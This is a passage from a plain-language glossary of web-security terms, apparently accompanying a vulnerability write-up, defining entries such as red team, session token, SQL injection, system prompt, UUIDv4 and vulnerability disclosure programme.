- Red team: security people who attack their own organisation on purpose to find weaknesses.
- Route: a page address on a website.
- Server: the computer that runs a website and answers requests.
- Server Action: a function that runs on the server when a page calls it.
- Session: the server's record of a logged-in user, kept between requests.
- Session token: the value in a cookie that identifies your session.
- SQL: the language used to ask questions of a database.
- SQL injection: an attack where database commands are slipped into input so the database runs them.
- System prompt: the hidden instruction a platform gives an AI at the start of a conversation.
- UUIDv4: a long random identifier that is impractical to guess.
- VDP (Vulnerability Disclosure Programme): an official channel for reporting security bugs to a company.
- Vercel: a hosting company that runs websites.
- Write-up: a public account of how a vulnerability was found and reported.